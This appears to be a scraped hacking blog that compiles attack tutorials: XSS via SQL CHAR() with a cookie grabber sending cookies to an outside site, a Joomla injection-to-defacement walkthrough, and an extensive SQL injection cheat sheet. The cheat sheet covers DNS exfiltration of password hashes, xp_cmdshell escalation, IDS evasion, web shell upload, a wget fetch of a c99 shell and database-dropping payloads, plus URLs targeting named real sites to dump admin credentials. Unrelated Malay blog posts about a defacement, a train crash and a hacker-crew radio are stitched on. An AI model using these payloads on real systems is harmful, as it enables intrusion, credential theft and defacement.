XFS - XSS From SQL

XFS - XSS From SQL

[------------------------------------------------------------------------]

[+] Summary

[1] Presentation

[2] Explanation

[3] Demonstration

[------------------------------------------------------------------------]

[1] --[Presentation]--

XFS is a SQL deviation who lets return javascript code by through of the 

function char().

This function convert an ASCII code to char, this why we'll 

use it to execute javascript code.

The XFS can give you a restricted XSS 

possibility and obviously the SQL vulnerabilty.

So for XFS we need :

- String to ASCII converter

- The function char()

In the next parties you will see the conditions for do it, how it work 

and demonstration.

[2] --[Explanation]--

To use it, you need to convert your string in ASCII 

(Online Converter : http://www.easycalculation.com/ascii-hex.php).

Char() will read the ASCII code and return it, so if you insert 

the ASCII javascript code, char() will return you the 

javascript code and it will be executed BUT when you encode your javascript 

code, this codemustn't have any space, so the XSS is restricted

but you can grab, alert and a lot of other XSS thing.

Example :

If you want convert your javascript code to ASCII, for work, the javascript 

code mustn't to be like it :

<script > alert(document.cookie) </script> <= You need to delete space :

<script>alert(document.cookie)</script> <= Its okay, you can convert it in ASCII

When the code will be convert in ASCII, you will get a thing like it :

46 65 42 12 85 68 ...

But before put it in char(ASCII), we need to replace space by "," like it :

46,65,42,12,85,68 ... <= Its okay for put in char()

[3] --[Demonstration]--

Vuln website :

- http://landfill.elvinbts.org/show_ac...II_CODE),7,8--

Some javascript codes without space :

Alert :

################################

#

#- String : <SCRIPT>alert('xss')</script>

#

#- ASCII : 60 83 67 82 73 80 84 62 97 108 101 114 116 40 39 120 115 115 39 #41 60 

47 115 99 114 105 112 116 62 

#

################################

Cookie Grabber :

################################

#

#- String : 

<SCRIPT>location.href='http://www.yoursite.com/cookie.php?#cookie='

+escape(document.cookie)</SCRIPT>

#

#- ASCII : 60 83 67 82 73 80 84 62 108 111 99 97 116 105 111 

110 46 104 114 101 102 61 39 104 116 116 112 58 47 47 119 

119 119 46 121 111 117 114 115 105 116 101 46 99 111 109 

47 99 111 111 107 105 101 46 112 104 112 63 99 111 111 107

 105 101 61 39 43 101 115 99 97 112 101 40 100 111 99 117 

109 101 110 116 46 99 111 111 107 105 101 41 60 47 83 67 

82 73 80 84 62 

#

################################

Cookie Grabber file :

################################

#

# <?php

#

#

$cookies = $_GET["cookie"];

#

# if($cookies)

# {

#

# $grab = fopen("grab.txt","a");

# fputs($grab, $cookies . "\r\n");

# fclose($grab);

#

# }

#

# ?>

#

################################

So before insert your ASCII in char(), you must replace 

(in the ASCII code) all space by ",".

Example :

################################

# 45 52 86 23 54 ...

# To :

# 45,52,86,23,54 ...

################################

So lets go :

Alert :

http://landfill.elvinbts.org/show_ac...,116,62),7,8--

You can see a textbox is executed with the text : "XSS" => it's the XSS alert

Sqli Without Tools

Hi,

this is a tutorial based on other tutorial on HF but a little bit different, no sql tool used.

1/ Finding Exploit And Target

Google dork: inurl:"option=com_mytube"

Type that Dork in Google.


2/ Inject Target

Find a url like this:

Code:

http://site.com/index.php?option=com_mytube&Itemid=88..

Now replace the url like this:

Click here to view: http://pastebin.com/ZxxU8Nsr

If the site is vulnerable, you can see something like this:

We can see username, email and activation code. (username:email:activation code)

Now, let this page open and open a new page.

3/ Admin password reset

Go to:

Code:

http://www.site.com/index.php?option=com_user&view=reset

This is standard Joomla! query for password reset request

Type the email adress found in step 2 and press Submit.

The activation code should be resetted.

Return to the first page, refresh the page and take the new activation code.

Paste him in the token and press Submit.

problem with token.. :((

UPDATE: Joomla! 1.5.16 now hashes the reset token

if you see a thing like :$1$14411: after the activation code, it will not work

4/ Admin Login

If you done everything ok, your Password page will load. Enter your new password...

After that go to:

Code:

http://www.site.com/administrator/

Standard Joomla portal content management system

Enter the username (found in step 2) and your new password, click on Login
Go to Extensions >> Template Manager >> Default Template Name >> Edit HTML
In Template HTML Editor insert your defaced code, click Apply, Save and you are done!!!

[color=#FF0000]Vuln. site compatible with this tutorial: 

Code:

http://www.mirditaturistike.com/index.php?&option=com_mytube&Itemid=88&view=videos&type=member&user_id=62

---

Advance SQLI

ADVANCED SQL

*********************************************************************************************************
type of injection

this is our Error-Based, and Union-Based SQL Injections
http://[site]/page.asp?id=1 or 1=convert(int,(USER))--
Syntax error converting the nvarchar value '[j0e]' to a column of data type int.


This is another way of getting the data out of the server (such as http, or dns).
http://[site]/page.asp?id=1;declare @host varchar(800); select @host = name + '-' +
master.sys.fn_varbintohexstr(password_hash) + '.2.pwn3dbyj0e.com' from
sys.sql_logins; exec('xp_fileexist ''\\' + @host + '\c$\boot.ini''');--




The latter case is known as "Blind SQL Injection".
http://[site]/page.asp?id=1;if+not(select+system_user)+<>+'sa'+waitfor+delay+'0:0:5'--
Ask it if it's running as 'sa'

*********************************************************************************************************

Determine the Injection Type : integer or string

Integer Injection:
http://[site]/page.asp?id=1 having 1=1--
Column '[COLUMN NAME]' is invalid in the select list because it is not
contained in an aggregate function and there is no GROUP BY clause.
String Injection:
http://[site]/page.asp?id=x' having 1=1--
Column '[COLUMN NAME]' is invalid in the select list because it is not
contained in an aggregate function and there is no GROUP BY clause.


Determining this is what determines if you need a ' or not.


*********************************************************************************************************
http://[site]/page.asp?id=1 or 1=convert(int,(USER))--
Syntax error converting the nvarchar value '[DB USER]' to a column of
data type int.
Grab the database user with USER
Grab the database name with DB_NAME
Grab the servername with @@servername
Grab the Windows/OS version with @@version
Error-Based SQL Injection Syntax for
extracting the USER



*********************************************************************************************************

http://[site]/page.asp?id=1 UNION SELECT ALL 1--
All queries in an SQL statement containing a UNION operator must have an equal number of
expressions in their target lists.
http://[site]/page.asp?id=1 UNION SELECT ALL 1,2--
All queries in an SQL statement containing a UNION operator must have an equal number of
expressions in their target lists.
http://[site]/page.asp?id=1 UNION SELECT ALL 1,2,3--
All queries in an SQL statement containing a UNION operator must have an equal number of
expressions in their target lists.
http://[site]/page.asp?id=1 UNION SELECT ALL 1,2,3,4--
NO ERROR
http://[site]/page.asp?id=null UNION SELECT ALL 1,USER,3,4--
Union-Based SQL Injection Syntax for extracting the USER

*********************************************************************************************************

3 - Total Characters
http://[site]/page.asp?id=1; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
Valid page returns immediately
http://[site]/page.asp?id=1; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
Valid page returns immediately
http://[site]/page.asp?id=1; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'--
Valid page returns after 10 second delay
Blind SQL Injection Syntax for extracting the USER

*********************************************************************************************************


D  - 1st Character
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))>97) WAITFOR DELAY '00:00:10'
Valid page returns immediately
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
Valid page returns immediately
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
Valid page returns immediately
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'--
Valid page returns after 10 second delay
Blind SQL Injection Syntax for extracting the USER

B - 2nd Character
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'--
Valid page returns immediately
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- (+10 seconds) )
Valid page returns after 10 second delay


O - 3rd Character
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'--
Valid page returns immediately
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),3,1)))>98) WAITFOR DELAY '00:00:10'--
Valid page returns immediately
.....and so on
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'--
Valid page returns after 10 second delay
Database User = DBO

 *********************************************************************************************************
http://[site]/page.php?id=null union all select 1,user(),3,4,5/*
http://[site]/page.php?id=null union all select 1,2,database(),4,5/*
http://[site]/page.php?id=null union all select 1,@@version,@@datadir,4,5/*
Grab the database user with user()
Grab the database name with database()
Grab the database version with @@version
Grab the database data directory with @@datadir
Information Gathering

*********************************************************************************************************

Error-Based SQL Injection
http://[site]/page.asp?id=2  or 1 in (select @@version)--
Obtaining the version of the OS
http://[site]/page.asp?id=2 or 1 in (select @@servername)--
Obtaining the hostname of the server
http://[site]/page.asp?id=2 or 1 in (select user)--
Obtaining the user
http://[site]/page.asp?id=2 or 1 in (select db_name(N))--
Obtaining the database name(s). N = start with 0 and keep incrementing
Basic SQLI Attack Methods





*********************************************************************************************************

Union-Based SQL Injection
http://[site]/page.asp?id=1 UNION SELECT ALL 1--
All queries in an SQL statement containing a UNION operator must have an equal number
of expressions in their target lists.
http://[site]/page.asp?id=1 UNION SELECT ALL 1,2--
http://[site]/page.asp?id=1 UNION SELECT ALL 1,2,3--
http://[site]/page.asp?id=1 UNION SELECT ALL 1,2,3,4--
NO ERROR
You should receive the error with each request, errors not shown to make room for the
slide
Basic SQLI Attack Methods



*********************************************************************************************************

True-False Blind SQL Injection
http://www.site.com/page.php?id=66 AND 1=1-- Valid Page
http://www.site.com/page.php?id=66 AND 1=2-- Error Page
http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 1, 1)) > 51 3
http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 1, 1)) > 53 5
http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 1, 1)) > 52 4
http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 2, 1)) > 43 +
http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 2, 1)) > 45 -
http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 2, 1)) > 46 .
http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 3, 1)) > 51 3
http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 3, 1)) > 49 1
http://www.site.com/page.php?id=66 AND ORD(MID((VERSION()), 3, 1)) > 48 0
MID() Extract characters from a text field
retrieved version: 5.0.45
Basic SQLI Attack Methods


*********************************************************************************************************


Time-Based Blind SQL Injection
http://[site]/page.asp?id=1;waitfor+delay+'0:0:5';--
See if it takes 5 seconds to return the page. If it does, then you can ask it questions.
http://[site]/page.asp?id=1;if+not(substring((select+@@version),%,1)+<>+5)+waitfor
+delay+'0:0:5';--
Ask it if he is running SQL Server 2000
http://[site]/page.asp?id=1;if+not(select+system_user)+<>+'sa'+waitfor+delay+'0:0:5'--
Ask it if it's running as 'sa'
http://[site]/page.asp?id=1;if+is_srvrolemember('sysadmin')+>+0+waitfor+delay+'0:0:5';--
Ask it if the current user a member of the sysadmin group
Basic SQLI Attack Methods



*********************************************************************************************************

http://www.http://www.liljon.com/liljon.asp?lil='
Gives the error:
Microsoft OLE DB Provider for SQL Server error '80040e14'
http://www.liljon.com/liljon.asp?lil=71%20or%201=convert(int,(USER))--
Gives the error:
Microsoft OLE DB Provider for SQL Server error '80040e14'
Incorrect syntax near ')'.
Hmm....ok, so it doesn't like that right paren so let's add one more to the end of our query.
http://www.liljon.com/liljon.asp?lil=71%20or%201=convert(int,(USER)))--
Gives the error:
Microsoft OLE DB Provider for SQL Server error '80040e07'
Conversion failed when converting the nvarchar value 'liljon' to data type int.
Now we know every injection from here on out will require the additional right paren....
@@servername()), @@version()), db_name()), etc....
UGGGGHHH.....WTF???  (1)


http://www.liljon.com/liljon.asp?lil=71%20or%201=convert(int,(DB_NAME())))-
Gives the error:
Conversion failed when converting the nvarchar value 'yeaaaaaah' to data type int.
http://www.liljon.com/liljon.asp?lil=71%20or%201=convert(int,(@@VERSION)))-
Gives the error:
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2005 - 9.00.3054.00 (Intel X86) Mar 23
2007 16:28:52 Copyright (c) 1988-2005 Microsoft Corporation Workgroup Edition on Windows NT 5.2 (Build 3790:
Service Pack 2) ' to data type int.
UGGGGHHH.....WTF???  (1) Cont.
*********************************************************************************************************

http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201--
http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2--
Received error: The text, ntext, or image data type cannot be selected as DISTINCT.
http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO')--
http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4--
http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4,5--
http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4,5,6--
http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4,5,6,7--
http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4,5,6,7,8--
http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4,5,6,7,8,9--
Received error: Operand type clash: text is incompatible with int
http://www.site.com/page.php?id=5%20UNION%20ALL%20SELECT%201,2,convert(text,'HELLO'),4,5,6,7,8,null--
Tips:
1. Always use UNION with ALL because of image similiar non-distinct field types. By default union tries to get records
with distinct.
2. Use NULL in UNION injections for most data type instead of trying to guess string, date, integer
UGGGGHHH.....WTF???  (2)

*********************************************************************************************************

Step 1: Brute-Force the 'sa' password
http://[site]/page.asp?id=1;select * from OPENROWSET('SQLOLEDB','';'sa';'JOE','waitfor
delay ''0:0:50'';select 1;');&a=1
http://[site]/page.asp?id=1;select * from OPENROWSET('SQLOLEDB','';'sa';'joe','waitfor
delay ''0:0:50'';select 1;');&a=1
http://[site]/page.asp?id=1;select * from OPENROWSET('SQLOLEDB','';'sa';'j0e','waitfor
delay ''0:0:50'';select 1;');&a=1
Key point to remember is that we used time-based blind sqli to enumerate the sa account
password length. This is a great aid in bruteforcing.
Privilege Escalation



Step 2: Add current user to admin group
http://[site]/page.asp?id=1;select * from OPENROWSET('SQLOLEDB','';'sa';'j0e','exec
master..sp_addsrvrolemember ''sa'',''sysadmin'';select 1');&a=1
Key point to remember is that we used time-based blind sqli to enumerate the sa account
password length. This is a great aid in bruteforcing.
*********************************************************************************************************


Step 3: Recreate the xp_cmdshell stored procedure
MSSQL Server 2000
http://[site]/page.asp?id=1;select * from OPENROWSET('SQLOLEDB','';'sa';'j0e','select
1;exec master..sp_dropextendedproc ''xp_cmdshell'';')&a=1
http://[site]/page.asp?id=1;select * from OPENROWSET('SQLOLEDB','';'sa';'j0e','select
1;DECLARE @result int,@OLEResult int,@RunResult int,@ShellID int EXECUTE
@OLEResult=sp_OACreate ''WScript.Shell'',@ShellID OUT IF @OLEResult<>0 SELECT
@result=@OLEResult IF @OLEResult<>0 RAISERROR(''CreateObject %0X'',
14,1,@OLEResult) EXECUTE @OLEResult=sp_OAMethod @ShellID,''Run'',Null,''ping -n 8
127.0.0.1'',0,1IF @OLEResult<>0 SELECT @result=@OLEResult IF @OLEResult<>0
RAISERROR (''Run %0X'',14,1,@OLEResult) EXECUTE @OLEResult=sp_OADestroy
@ShellID');&a=1
Remember to correctly identify the backend version as this step because MS SQL 2000
handle this differently than MS SQL 2005
Privilege Escalation



*********************************************************************************************************

Step 3: Recreate the xp_cmdshell stored procedure (What's really going on?)
select * from OPENROWSET('SQLOLEDB','';'sa';'j0e','select 1;
DECLARE @result int,@OLEResult int,@RunResult int,@ShellID int
EXECUTE @OLEResult=sp_OACreate ''WScript.Shell'',@ShellID OUT IF @OLEResult<>0
SELECT @result=@OLEResult IF @OLEResult<>0 RAISERROR(''CreateObject%0X'',14,1,@OLEResult)
EXECUTE @OLEResult=sp_OAMethod @ShellID,''Run'',Null,''ping -n 8 127.0.0.1'',0,1IF @OLEResult<>0
SELECT @result=@OLEResult IF @OLEResult<>0
RAISERROR (''Run %0X'',14,1,@OLEResult) EXECUTE @OLEResult=sp_OADestroy @ShellID');&a=1
Privilege Escalation

*********************************************************************************************************

Step 3: Recreate the xp_cmdshell stored procedure
MSSQL Server 2005 (re-enabling xp_cmdshell)
http://[site]/page.asp?id=1;select * from OPENROWSET('SQLOLEDB','';'sa';'j0e','select
1;exec master..sp_configure ''show advanced options'',1;reconfigure;exec
master..sp_configure ''xp_cmdshell'',1;reconfigure')&a=1
http://[site]/page.asp?id=1;exec master..sp_configure 'show advanced options',
1;reconfigure;exec master..sp_configure 'ole automation procedures',1;reconfigure;&a=1
Privilege Escalation

*********************************************************************************************************

Server-side Alphanumeric Filter
http://[site]/page.asp?id=2 or 1 like 1
Here we are doing an “or true,” although this time we are using the “like”
comparison instead of the “=” sign. We can use this same technique for the other
variants such as “and 1 like 1” or “and 1 like 2”
http://[site]/page.asp?id=2 and 1 like 1
http://[site]/page.asp?id=2 and 1 like 2
Restrictive Blacklist


Bypass Techniques:
http://[site]/page.asp?id=2 or 2=2--
http://[site]/page.asp?id=2 or 1<2--
http://[site]/page.asp?id=2 or 1 like 1--
http://[site]/page.asp?id=2 /**/or /**/2/**/=/**/2--
....c'mon everyone name some more




*********************************************************************************************************

Signature 2
alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection attempt”;
flow: to_server, established; pcre: “/(and|or) 1=1 (\-\-|\/\*|\#)/i”; sid: 1; rev:2;)
Bypass Techniques:
http://[site]/page.asp?id=2 or 2=2%2D%2D
http://[site]/page.asp?id=2 or 1<2%2D%2D
http://[site]/page.asp?id=2 or 1 like 1%2D%2D
http://[site]/page.asp?id=2 /**/or /**/2/**/=/**/2%2D%2D
....c'mon everyone name some more
Signature Negatives
- 1=1 is not the only way to create a query that returns "true" (ex: 2=2, 1<2, etc)
- Comments like pretty much anything else can be represented in other encoding type
(ex: (%2D%2D = --)
- It is possible to attack an sql injection vulnerability without using comments
If this signature is so easily bypassed, what is it actually good for?
Answer:
Again, it's great for automated tools and kiddies
Signature Based IDS (2)



*********************************************************************************************************

Signature 3-5
alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection SELECT
statement”; flow: to_server, established; pcre:”/select.*from.*(\-\-|\/\*|\#)/i”; sid: 2; rev: 1;)
               
alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection UNION
statement”; flow: to_server, established; pcre:”/union.*(\-\-|\/\*|\#)/i”; sid: 3; rev: 1;)
Bypass Techniques:
http://[site]/page.asp?id=2 or 2 in (%73%65%6C%65%63%74%20%75%73%65%72)%2D%2D
http://[site]/page.asp?id=2 or 2 in (select user)--
http://[site]/page.asp?id=-2 %55%4E%49%4F%4E%20%41%4C%4C%20%73%65%6C%65%63%74%201,2,3,(%73%65%6C
%65%63%74%20%75%73%65%72),5,6,7%2D%2D
http://[site]/page.asp?id=-2 UNION ALL select 1,2,3,(select user),5,6,7--
....c'mon everyone name some more
Signature Negatives
- Although sigs 3-5 are much better, they don't consider the attacker may use different encoding types such as hex
Signature Based IDS (3-5)




*********************************************************************************************************

Signature 6
alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection SELECT statement”; flow: to_server,
established; pcre:”/(s|%73)(e|%65)(l|%6C)(e|%65)(c|%63)(t|%74).*(f|%66)(r|%72)(o|%6F)(m|%6D).*(\-\-|\/\*|\#)/i”; sid: 2; rev2
Signature 7
alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection SELECT statement”; flow: to_server,
established; pcre:”/(s|%73|%53)(e|%65|%45)(l|%6C|%4C)(e|%65|%45)(c|%63|%43)(t|%74|%45).*(f|%66|%46)(r|%72|%52)(o|
%6F|%4F)(m|%6D|%4D).*(\-\-|\/\*|\#)/i”; sid: 2; rev: 3;)
At least signature 7 takes into account case sensitivity with hex encoding.
But.....
There are always other encoding types that the attacker can use...
Signature Based IDS (6-7)



*********************************************************************************************************
http://[site]/page.asp?id=2%20or%202%20in%20(/*IDS*/%73/*evasion*/%65/*is*/
%6C/*easy*/%65/*just*/%63/*ask*/%74/*j0e*/%20%75/*to*/%73/*teach*/%65/*you*/
%72/*how*/)%2D%2D
What is passed to the db
http://[site]/page.asp?id=2 or 2 in (select user)--
in comments ("IDS evasion is easy just ask j0e to teach you how")


*********************************************************************************************************
bypass filter words
/* !________ */
http://www.marmoon.com/games.php?id=437%20/*!ORDER%20BY*/%2013--

http://coffeagame.com/top.php?otsi=null' union select 1,unhex(hex(group_concat(m_kasutaja,0x3a,m_parool))),3,4,5,6,7,8,9,10,11,12,13,1 ?4,15 from coffea.user_table-- f

http://iri.iiu.edu.pk/index.php?page_id=7+and+1=2+union+select+1,2,0x417474656d7074696e6720746f204861636b,4,5,group_concat(0x3c62723e3c62723e,user_name,0x3c62723e3c62723e,user_email,0x3c62723e3c62723e,user_pass_str,0x3c62723e3c62723e,user_pass,0x3c62723e3c62723e,user_type,0x3c62723e3c62723e+separator+0x20),7,8,9,10,11+from+user


http://www.techniques.com.pk/index.php?cat_id=3+and+1=3+union+all+select+1,group_concat(0x4841434b454420425920544543484e4f,0x3c62723e3c62723e,login,0x3c62723e3c62723e,password),3,0x4841434b454420425920544543484e4f,5,6,7,8,0x56554c4e455241424c4520544f2053514c20494e4a454354494f4e532e2046495820495420475559532021213c62723e3c62723e203a50203c62723e425945202121,10,11,12,13+from+techniqu_techniq.tbladmin


http://www.maimonides.org/upper/newsDetail.php?id=170+and+1=3+union+all+select+1,group_concat(0x3c62723e3c62723e,username,0x3c62723e3c62723e,pwd,0x3c62723e3c62723e,email,0x3c62723e3c62723e+separator+0x3c62723e),3,4,5,6,7,8,9,10+from+users


http://www.fpcci.com.pk/news1/display_newsDetail.asp?newsid=1000+and+1=3+union+all+select+1,2,3,4,5,password,name,8,9,10,11,12,13,14,15+from+admin

     http://site.com/index.php?&option=com_mytube&Itemid=88&view=videos&type=member&user_id=62+AND+1=2+UNION+SELECT+0,1,2,3,4,5,6,7,8,9,10,11,concat%280x3a,username,0x3a,email,0x3a,activation%29,13,14,15,16,17,18,19,20,21,22,23,24,25+from+jos_users+where+id=62--


http://site.com/index.php?&option=com_mytube&Itemid=88&view=videos&type=member&user_id=62+AND+1=2+UNION+SELECT+0,1,2,3,4,5,6,7,8,9,10,11,concat%280x3a,username,0x3a,email,0x3a,activation%29,13,14,15,16,17,18,19,20,21,22,23,24,25+from+jos_users+where+id=62--


http://www.commercial.southernrailway.go...8+and+1=0+ Union Select 1 ,2,concat(table_name,0x3a,column_name),4,5,6,7+from+information_schema.columns+where+table_schema=database()--

*********************************************************************************************************
bsqli

http://www.maimonides.org/upper/newsDetail.php?id=170/**/and/**/ascii(substring((select/**/concat(id,0x3a,username,0x3a,pwd,0x3a,email)/**/from/**/users/**/limit/**/[row],1),[+],1))=[char]--


*********************************************************************************************************
injecting shell

.php?id=-1+union+select+1,2,3,4,5,'<?php @system($_REQUEST["cmd"]); ?>',6,7,8+INTO+DUMPFILE+'/home/username/public_html/images/shell.php'

You will need to know document root eg. /home/username/public_html and to find any writeable directory on it to inject your shell. Than you navigate to your shell and type http://www.site.com/images/shell.php?cmd=ls

.php?id=-1 union select 1,2,'your shell code here',4,5,6,7,8 INTO DUMPFILE '/document/root/folder/shell.php'

Maybe you will need to HEX this 'your shell code here' and this '/document/root/folder/shell.php' or CHAR().
*********************************************************************************************************
php?cmd=wget http://www.localroot.net/c99ud.txt  -O c99.php so don't need to put all path cause the c99.php file will be created in the directory where you created your cmd shell.


*********************************************************************************************************
thedomain.com:2082
thedomain.com:2083
thedomain.com/admin
admin.thedomain.com
cpanel.thedomain.com



*********************************************************************************************************
In most cases there is no need to have all those symbols. + or /**/ or () for space is enough.


*********************************************************************************************************

Exploit:
If the value of $email is aaa@aaa.com' OR 1=1 INTO OUTFILE'/<directory-path>/pass.txt, the SQL request becomes:
select passmd5 from people where email=' aaa@aaa.com' OR 1=1 INTO OUTFILE'/<directory-path>/pass.txt'

Resulting in the passwords of the users being written into the file pass.txt.


*********************************************************************************************************
http://[site]/page.asp?id=1'a


http://foo/web.php?table=38 - We get normal screen
http://foo/web.php?table=38/*%20s*/ - We get normal screen
http://foo/web.php?table=38/*!%20s*/ - We get a different screen because syntax error in comments - MySQL is in use
http://foo/web.php?table=38/*!30000%20s*/ - We get a different screen, MySQL is at least 3.x.x
http://foo/web.php?table=38/*!40000%20s*/ - We get a different screen, MySQL is at least 4.x.x
http://foo/web.php?table=38/*!50000%20s*/ - We get normal screen, MySQL is below 5.x.x
http://foo/web.php?table=38/*!40020%20s*/ - We get normal screen, MySQL is below 4.0.20
http://foo/web.php?table=38/*!40017%20s*/ - We get a different screen, MySQL is at least 4.0.17
http://foo/web.php?table=38/*!40018%20s*/ - We get normal screen, MySQL is below 4.0.18


Starting scan for vuln in parameter id.

1) mysite.com/index.php?id=1+and+1=1 (true and true = true)

If u see page like with parameter id=1, maybe u have vuln parameter.

mysite.com/index.php?id=1+and+1=2 (true and false = false)
If u see empty page or error or redirect it says that u have vuln parameter

2) mysite.com/index.php?id=1'+and+'1'='1 (true and true = true)
mysite.com/index.php?id=1'+and+'1'='2 (true and false = false)

3) mysite.com/index.php?id=1"+and+"1"="1 (true and true = true)
mysite.com/index.php?id=1"+and+"1"="2 (true and false = false)

4) mysite.com/index.php?id=1+order+by+1+--+
mysite.com/index.php?id=1+order+by+1000+--+
If u see empty page or error or redirect it says that u have vuln parameter

5) mysite.com/index.php?id=1
mysite.com/index.php?id=2-1

6) mysite.com/index.php?id=1
mysite.com/index.php?id=1*1

7) mysite.com/index.php?id=
If u see empty page or error or redirect it says that u have vuln parameter

8) mysite.com/index.php?id=1'
If u see empty page or error or redirect it says that u have vuln parameter

9) mysite.com/index.php?id=1hello
"Unknown column '1hello' in 'where clause" vuln

10) site.com/index.php?id=1)/*

11) site.com/index.php?id=1')--+

12) site.com/index.php?id=1"/*

13)site.com/index.php?id=1))--+


Vuln parameters are not only parameters like "index.php?id=1:

Code: [Select]
mysite.com/index.php/id/6/
mysite.com/index.HTM?id=1

*********************************************************************************************************
.asp?xxx=2 union select name from sysobjects where xtype='u'

.asp?xxx=Select name from syscolumns where id=(select id from sysobjects where
name=‘table’)


=2‘ union
select card_number from%20 bank_cards where '1'='1’

=2; shutdown

=2; drop database xxx

*********************************************************************************************************



*********************************************************************************************************



*********************************************************************************************************



*********************************************************************************************************




*********************************************************************************************************



*********************************************************************************************************



*********************************************************************************************************

ne-west?

Haha...sje jek update blog nie...da bersawang lak...hihi...
sory k sbb lme da xreleased tutorial....skunk nie tgh sibuk dgn poli la...hurmm...agk ssh skit...
xpe2....adios akn released tutorial xlme ag k....it about hacking FB....hehe.... :)

iklan mengarut :D

Gambar nie xd kaitan :D

lol..

nk taw npe...

jom tgk video nie....

Almarhum Hary Rusli mempromosikan kondom sebagai alat kesihatan...

haha

mahu enak mas..

jgn nekad

pakai kondom mas

kita selamat...

hahaha :D

kena Deface :D

salam...mlm nie adios ad 1 entry yg bru adios dpt taw tdi...

nk taw x ap dy??

 nie hah...kowg tgk kt bwh tu....

laman web http://besttopsolutions.com/ dihack oleh kambeng merah

lolz

printscreen 1

printscreen 2

kesian kt http://besttopsolutions.com/ sbb kne dgn kambeng merah

kredit to kambeng merah :D

maut?

dilaporkan hampir 200 orang penumpang kebanyakannya kakitangan kerajaan nyaris maut apabila kereta api dinaiki mereka merempuh sebuah lori tangki bermuatan 27,000 liter petrol yang menyebabkan letupan kuat di lintasan kereta api haram berhampiran Kilometer 5, Jalan Kota Kinabalu-Putatan, Petagas.


Letupan itu menyebabkan gegaran kuat di sekitar Petagas dengan asap tebal boleh dilihat dari jarak kira-kira lima kilometer (km), selain kesesakan lalu lintas yang teruk sepanjang kira-kira 10 km dari Jalan Kota Kinabalu-Putatan dan sebaliknya. 


Dalam kejadian kira-kira jam 5.30 petang itu, lapan penumpang kereta api cedera ringan manakala pemandu lori berkenaan tidak cedera.

Kereta api tiga gerabak itu dalam perjalanan dari Stesen Kereta Api Tanjung Aru, di sini membawa penumpang yang kebanyakannya kakitangan kerajaan yang baru pulang kerja ke Stesen Kereta Api Papar, kira-kira 70 km dari sini.

Kereta api milik Jabatan Kereta Api Negeri Sabah (JKNS) itu dikatakan baru meninggalkan stesen berkenaan pada jam 5 petang dan dipercayai bergerak pada kelajuan antara 40 hingga 50 km sejam tetapi pemandunya dipercayai gagal memberhentikan kenderaan itu kerana agak hampir dengan lori berkenaan. 

Ia menyebabkan kepala dan gerabak pertama kereta api itu tergelincir ke kanan landasan sebelum hangus manakala lori itu terputus dua dengan bahagian kepala dan tangkinya terpisah kira-kira 10 meter di kiri dan kanan landasan. 
Penumpang yang panik terpaksa memecahkan cermin kereta api dan melompat keluar bagi menyelamatkan diri daripada api yang menjulang setinggi kira-kira 30 meter.

Pesuruhjaya Polis Sabah, Datuk Hamza Taib berkata, kejadian dipercayai berpunca akibat pemandu lori membelok ke kiri jalan untuk melintasi landasan sebelum membawa bahan api itu ke sebuah stesen minyak, kira-kira 300 meter dari tepi landasan.

“Pemandu lori dipercayai gagal mengesan kereta api berkenaan tetapi sempat melompat keluar dari kenderaannya sejurus sebelum kenderaannya dirempuh kereta api," katanya ketika ditemui di tempat kejadian.


laporan asal: Bharian.com.my

Terbaik!!

salam

arini adios nk post something tok kwan baru adios..

adios knal dy lam fb...nk taw spe x....ok nie orngnye Luffy.

sekarang nie dy tgh jd DJ kt laman web sayonara.caster.fm

sayonara.caster.fm...DJ by Luffy...

klo bosan2 ley nk lepak2 kt sne...

kowg ley chat dgn adios kt sne(Adios TD)

kire tmpt yg selalu adios lepak la...hehe

nk wat ucapan?? bley...korang mntax jek kt DJ Luffy...

comfirm dy bg...hehe..

lagi satu info yg korang kne taw sayonara.caster.fm merupakan radio rasmi kepada malaya hacker crew...nk taw yg mne? klik link nie

k la...klo ad info terbaru adios akan post lagi...

adios amigo..hehe

Pelajar Bunuh Diri ????

